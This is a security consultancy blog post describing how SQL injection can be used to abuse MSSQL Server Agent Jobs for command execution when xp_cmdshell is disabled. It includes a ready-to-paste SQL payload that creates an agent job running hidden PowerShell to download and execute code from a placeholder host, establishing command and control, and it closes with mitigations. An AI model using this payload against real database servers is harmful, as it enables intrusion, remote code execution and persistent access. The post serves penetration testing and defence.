Nicholas Popovich is a senior consultant with Optiv’s attack and penetration team. In this role he specializes in adversarial threat simulations, network and application penetration testing, and social engineering.
MSSQL Agent Jobs for Command Execution
The primary purpose of the Optiv attack and penetration testing (A&P) team is to simulate adversarial threat activity in an effort to test the efficacy of defensive security controls. Testing is meant to assess many facets of organizational security programs by using real-world attack scenarios. This type of assessment helps identify areas of strength, or areas of improvement regarding organizations' IT security processes, personnel and systems.
There exists a cat-and-mouse game in IT security, a never-ending arms race. Malicious actors implement new attacks; defensive controls are deployed to detect and deter those same attacks. It behooves organizations to attempt to be proactive in their defensive posture, and identify new methods of attack and preemptively put controls in place to stop them. Optiv A&P strives to maintain technical expertise in both the offensive and attack arena, along with the defensive methods used to detect and prevent attacks. To stay relevant and effective in this ever-changing threat landscape, it is paramount that organizations that specialize in assessing organizational security posture stay relevant to the tactics, techniques and procedures (TTPs) that are used by genuine threat actors. Optiv engages in proactive threat research to identify TTPs that could be used by threat actors to compromise systems or data.
Attacks that Stay Below the Radar
A goal of many attackers is to implement campaigns that go undetected. The longer an organization is unware of a breach condition, the more time an attacker has to identify and exfiltrate sensitive information, and use the compromised environment as a pivot point for more nefarious activity.
Optiv A&P implements advanced attacks in an effort to identify gaps in detective capabilities, and assist organizations in detecting the attacks.
A recent example of this activity is abusing native functionality with Microsoft SQL Server (MSSQL) to gain command and control of database servers using MSSQL Server Agent Jobs.
Microsoft SQL Server Agent
The MSSQL Server Agent is a windows service that can be used to perform automated tasks. The agent jobs can be scheduled, and run under the context of the MSSQL Server Agent service. However, using agent proxy capabilities, the jobs can be run with different credentials as well.
During a recent engagement, a SQL injection condition was identified in a web application that was using MSSQL Server 2012. At the request of the client, Optiv performed the assessment in a surreptitious manner, making every effort to avoid detection. Optiv devised a way to take advantage of native MSSQL Server functionality to execute commands on the underlying Windows operating system. Also, the xp_cmdshell stored procedure had been disabled, and the ability to create custom stored procedures had also been limited.
Many monitoring or detection systems generate alerts when a commonly abused MSSQL stored procedure (xp_cmdshell) is used during an attack. The usage of xp_cmdshell by attackers, and penetration testers has caused many organizations to disable it, limit its ability to be used and tune alerting systems to watch for it.
Optiv identified a scenario wherein the MSSQL Server Agent could be leveraged to gain command execution on target database server. However, the server had to meet several conditions:
- The MSSQL Server Agent service needs to be running.
- The account that is being used must have permissions to create and execute agent jobs (in this case the database account that was running the service that had a SQL injection condition).
Optiv identified two MSSQL Agent Job subsystems that could be advantageous to attackers: the CmdExec and PowerShell subsystems. These two features can execute operating systems commands, and PowerShell respectively.
Optiv used the SQL injection entry point to create and execute the agent job. The job's command was PowerShell code that created a connection to an Optiv controlled IP address and downloaded additional PowerShell instructions that established an interactive command and control session between the database server, and the Optiv controlled server.
Here is the SQL syntax breakdown. Note, in the below download-string command, the URI is between two single quotes, not double quotes. This is to escape single quotes within SQL.
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
The above string is for easier copying and pasting, if you want to recreate this attack scenario.
The below quickly shows a demo on how to weaponize this attack.
The SQL syntax is URL encoded. In this specific instance the attack is being sent via an HTTP GET request, hence the necessity to URL encode the payload.
The request, with the SQL injection payload, to an HTTP GET parameter that is vulnerable to SQL injection is shown. Note the %20 (space character) added to the beginning of the payload.
Once the payload is run we can see a command and control session is established, running with the SQLSERVERAGENT account's privileges.
On the victim SQL server we can see the SQL Agent job has been created.
The below video demonstrates the full attack.
Attack Post Mortem
This attack can be leveraged to run MSSQL Server Agent jobs on other MSSQL servers, if the Agent service on the victim is configured to use an account with permissions to other MSSQL servers. Also, Agent jobs can be scheduled, and may be used as an evasive means to maintain a persistent connection to victim MSSQL servers.
In some instances, if the MSSQL Server Agent service is configured with an account that has more privileges than that of the database user, for example an Active Directory domain service account, this attack can be used by an attacker to escalate their privileges.
General web application hygiene should be used to prevent attack vectors like SQL injection. Use prepared statements in SQL queries within web applications, and abstracting application logic from backend databases. Employ web application firewalls to detect and block attacks on applications.
Internal systems that do not need to communicate directly with Internet hosts should be disallowed from doing so. This can prevent command and control channels from being established between internal assets, and attacker controlled endpoints. Employ strict network egress filtering.
MSSQL Server Agent jobs can be abused by any attacker that has the ability to execute SQL queries on a database server. To specifically limit the attack surface of MSSQL Server Agent jobs ensure that databases are running under the context of user accounts with the concept of least privilege. If the account that a database is running under does not have permissions to create and start MSSQL Server Agent jobs this attack is negated. Also, if the MSSQL Server Agent service is not in use it should be disabled.